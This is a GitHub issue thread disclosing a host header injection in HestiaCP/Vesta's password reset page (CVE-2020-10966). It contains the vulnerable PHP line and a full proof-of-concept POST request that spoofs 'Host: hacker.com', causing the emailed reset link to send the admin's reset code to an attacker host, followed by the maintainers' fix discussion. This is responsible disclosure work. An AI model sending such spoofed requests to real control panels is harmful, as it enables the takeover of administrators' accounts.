New issue

Jump to bottom

Manipulation of Host Header lead to Account Takeover Vulnerability #748

Closed mdisec opened this issue on Mar 23, 2020 · 11 comments

Labels bug interface security

mdisec commented on Mar 23, 2020 • edited

Tbh, vulnerability is pretty simple. On line 33. $_SERVER['HTTP_HOST'] value is directly used without any validation and then on line 34. E-mail send to the targeted account's email address.

hestiacp/web/reset/index.php
Line 33 in 5ffb7ac

```
33      $mailtext .= __('PASSWORD_RESET_REQUEST',$_SERVER['HTTP_HOST'],$user,$rkey,$_SERVER['HTTP_HOST'],$user,$rkey);
```

Content of the password reset e-mail is generated by using following string definition.

```
'PASSWORD_RESET_REQUEST' => "To reset your control panel password, please follow this
            link:\nhttps://%s/reset/?action=confirm&user=%s&code=%s\n\nAlternatively,
             you may go to https://%s/reset/?action=code&user=%s and enter the following
             reset code:\n%s\n\nIf you did not request password reset, please ignore
             this message and accept our apologies.\n\n--\nVesta Control Panel\n",
```

Host header value used for URL generation !!!

Pass reset token

So that means, $_SERVER['HTTP_HOST']value is used for URL generation in e-mail template and we can fully control it.

We can spoof $_SERVER['HTTP_HOST']value during HTTP request to the password reset endpoint.

```
POST /reset/ HTTP/1.1
Host: hacker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, ceflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Origin: https://192.168.74.163:8083
DNT: 1
Connection: close
Referer: https://192.168.74.163:8083/reset/
Cookie: PHPSESSID=k3q9i5onr86hdc0llkgpei7mi0
Upgrade-Insecure-Requests: 1

user=admin
```

Actual Host header value İS NOT hacker.com but the URL will be hacker.com in the password reset e-mail. As you can following screenshot, even though the Vesta is being installed on 192.168.74.163 on port 8060, URL placed in the e-mail for account recovery is HACKER.com now. So if the admin user click on that link in the e-mail, HACKER.COM will steal the code value which is enough for resetting password of the admin user.

PS: I should mention that in the real-life use-case you can very similar domain name instead of hacker.com :) Since the e-mail is being sanded from Vesta server, it's not a kind of phishing attack.

Vesta Control Panel

Password Reset at 2020-03-11 16:22:06

To: Mehmet İNCE

Hello, System Administrator,
To reset your control panel password, please follow this link:
https://hacker.com/reset/?action=confirm&user=admin&code=U06sNrASFC

Alternatively, you may go to https://hacker.com/reset/?action=code&user=admin and enter the following reset code:
U06sNrASFC

If you did not request password reset, please ignore this message and accept our apologies.

--
Vesta Control Panel

Suggested Fix

According to technical details of the installation, Vesta installs it's own Apache, Nginx and bunch of services. That means %90 of the real-life deployment is standalone server. By saying that I mean, there is no different service in front of the Vesta where might be validation on Host field of request header.

This vulnerability could have been mitigated by doing Nginx configuration, which is being used as reverse-proxy in the product, or even can be Apache without touching PHP side. But default Vesta configuration gives your chance to work with Host field.

Side Note

I've found & successfully tested that vulnerability during analysis of Vesta ! I haven't tested it against HestiaCp but I strongly believe it's also works too.

4

ScIT-Raphael commented on Mar 23, 2020 Member

Hi @mmetince
Thank you for pointing us on this serious issue! We're currently working on a fix and will release a new version asap.

1

ScIT-Raphael added bug interface security labels on Mar 23, 2020

ScIT-Raphael added a commit that referenced this issue on Mar 23, 2020

`Added additional verification of host domain in password reset.` ··· `24822c4`

ghost closed this as completed in `cd5d3c0` on Mar 23, 2020

---

ghost reopened this on Mar 23, 2020

mdisec commented on Mar 23, 2020 — Author

That's impressive ! Thanks for taking a very quick action.

Are you guys going to request a CVE ?

dpeca commented on Mar 23, 2020 — Contributor

I fixed it on VestaCP in more simpler way - serghey-rodin/vesta@ `c3c4de4`

ScIT-Raphael commented on Mar 23, 2020 — Member

@mmetince Would be the first time ever we would request a cve, just a lack of knowledge here so it isnt planed :).

@dpeca This was also our first idea, but limit it to hostname will prevent logins from ip address or possible subdomains using mod_rewrite/proxy to the backend.

👍 2

mdisec commented on Mar 23, 2020 — Author

Gotcha ! **@ScIT-Raphael** A'right mate, I will go ahead and request one for you. It usually takes 1-2 days to get one. I'll let your know when I heart from MITRE team.

❤️ 1

dpeca commented on Mar 23, 2020 — Contributor

@mmetince you can also send to dev@vestacp.com if it's related to VestaCP too.

👍 1

ScIT-Raphael commented on Mar 23, 2020 — Member

@mmetince Awesome, thank you verry much for your help! If you would find anything else or would like to stay in contact with the whole team (we would love to <3) write me a mail to info@hestiacp.com.

❤️ 1

mdisec commented on Mar 23, 2020 — Author

Ofcourse ! I was particularly interested in finding a 0day on Vesta because of an, hmm, let say assignment :). If I find an anything else in the future, I will definitely send it via e-mail.

Also, may I suggest you guys to use Security feature of GitHub so that all can have this conversation privately next time ?

Cheers,

👍 2 🎉 1

ScIT-Raphael commented on Mar 23, 2020 — Member

@mmetince Sure, I'll forward this to **@kristankenney**, ha can setup the Security feature within a few clicks.

mdisec commented on Mar 26, 2020 — Author

Assigned CVE number ise CVE-2020-10966 **@dpeca @ScIT-Raphael**

🎉 2

ScIT-Raphael commented on Mar 26, 2020 — Member

Awesome, thanks @mmetince!

We just have released the security hotfix under version 1.1.1, so I going to close this issue now. Again thank you for pointing us on it, do not hesitate do contact us again, if you would find everything else!

ScIT-Raphael closed this as completed on Mar 26, 2020

Assignees

No one assigned

Labels

bug interface security

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants